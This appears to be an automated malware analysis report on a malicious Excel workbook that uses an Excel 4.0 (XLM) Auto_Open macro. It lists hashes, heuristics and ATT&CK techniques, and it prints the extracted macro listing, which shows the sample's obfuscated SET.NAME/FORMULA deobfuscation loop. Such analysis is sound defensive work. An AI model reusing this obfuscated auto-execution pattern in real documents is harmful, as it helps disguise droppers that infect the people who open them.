Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bec21d52ab9caa1c…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:45:12 Authoring application: Microsoft Excel First seen: 2026-06-05
MD5: 628bc9023d9692a6c189b565f0e21a78 SHA-1: e8df8b654ade72c4370e2b7c781d0f2a20662965 SHA-256: bec21d52ab9caa1ca10259fcc6fd665e11b3a5a249de4284edaa97c57d3b4eec
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The critical heuristics indicate the presence of Excel 4.0 macros with an Auto_Open entry, which is a known method for executing malicious code. The `RUN=0` formula API suggests the macro is designed to execute an external command or payload. While no specific URLs or hashes were extracted, the presence of Auto_Open strongly implies a downloader or dropper functionality.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6399 bytes
SHA-256: 9a8afa3a4bf8448b2f5b2f60933c64a109843c4256647b6e5bc28da5189757b9
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  cawf
' 0018     20 LABEL : Cell Value, String Constant - AKZAq len=0 
' 0018     23 LABEL : Cell Value, String Constant - ANECFOEw len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A187 
' 0018     25 LABEL : Cell Value, String Constant - AXVQShnhAv len=0 
' 0018     24 LABEL : Cell Value, String Constant - bmLsKifCr len=0 
' 0018     27 LABEL : Cell Value, String Constant - cIlwuqstZHzq len=0 
' 0018     21 LABEL : Cell Value, String Constant - fOaODB len=0 
' 0018     20 LABEL : Cell Value, String Constant - iyyBs len=0 
' 0018     22 LABEL : Cell Value, String Constant - pEChhTj len=0 
' 0018     24 LABEL : Cell Value, String Constant - sTImGxKtE len=0 
' 0018     26 LABEL : Cell Value, String Constant - sZgHOAFXPwQ len=0 
' 0018     22 LABEL : Cell Value, String Constant - TDUtYwp len=0 
' 0018     21 LABEL : Cell Value, String Constant - UOeAJK len=0 
' 0018     22 LABEL : Cell Value, String Constant - vjTRgip len=0 
' 0018     25 LABEL : Cell Value, String Constant - wZMFtuUlAR len=0 
' 0018     25 LABEL : Cell Value, String Constant - xeuOWFrZrY len=0 
' 0018     24 LABEL : Cell Value, String Constant - xonFOzZED len=0 
' 0018     21 LABEL : Cell Value, String Constant - XxDdAn len=0 
' 0018     27 LABEL : Cell Value, String Constant - yjSdSVaWQkns len=0 
' 0018     20 LABEL : Cell Value, String Constant - zAMLx len=0 
' 0018     25 LABEL : Cell Value, String Constant - zWUTBPFbPY len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  cawf,A97,"SET.NAME("zAMLx",VALUE("0"))",""
'  cawf,A100,"SET.NAME("vjTRgip",zAMLx)",""
'  cawf,A104,"SET.NAME("TDUtYwp",zAMLx)",""
'  cawf,A109,"SET.NAME("iyyBs",COUNTA(cIlwuqstZHzq))",""
'  cawf,A114,"SET.NAME("UOeAJK",COUNTA(XxDdAn))",""
'  cawf,A116,[],""
'  cawf,A118,"SET.NAME("yjSdSVaWQkns","")",""
'  cawf,A121,"vjTRgip",""
'  cawf,A125,"SET.NAME("xeuOWFrZrY",HLOOKUP("*",cIlwuqstZHzq,vjTRgip,FALSE))",""
'  cawf,A128,"pEChhTj",""
'  cawf,A130,"SET.NAME("zWUTBPFbPY",zAMLx)",""
'  cawf,A134,[],""
'  cawf,A139,"zWUTBPFbPY",""
'  cawf,A142,"bmLsKifCr",""
'  cawf,A144,"xonFOzZED",""
'  cawf,A149,"fOaODB",""
'  cawf,A151,"SET.NAME("AXVQShnhAv",VALUE(HLOOKUP("*",XxDdAn,fOaODB,FALSE)))",""
'  cawf,A155,"AKZAq",""
'  cawf,A157,"yjSdSVaWQkns",""
'  cawf,A159,"TDUtYwp",""
'  cawf,A163,NEXT(),""
'  cawf,A167,"ANECFOEw",""
'  cawf,A169,"SET.NAME("f",INT(T(FORMULA(T(yjSdSVaWQkns)&"",""&T(ANECFOEw)))))",""
'  cawf,A173,"wZMFtuUlAR",""
'  cawf,A177,NEXT(),""
'  cawf,A182,RETURN(),""
'  cawf,A208,"SET.NAME("sZgHOAFXPwQ",A97)",""
'  cawf,A210,"cIlwuqstZHzq",""
'  cawf,A212,"SET.NAME("XxDdAn",R64C12)",""
'  cawf,A215,"SET.NAME("wZMFtuUlAR",223)",""
'  cawf,A217,"SET.NAME("sTImGxKtE",1)",""
'  cawf,A222,sZgHOAFXPwQ(),""
'  cawf,A223,HALT(),""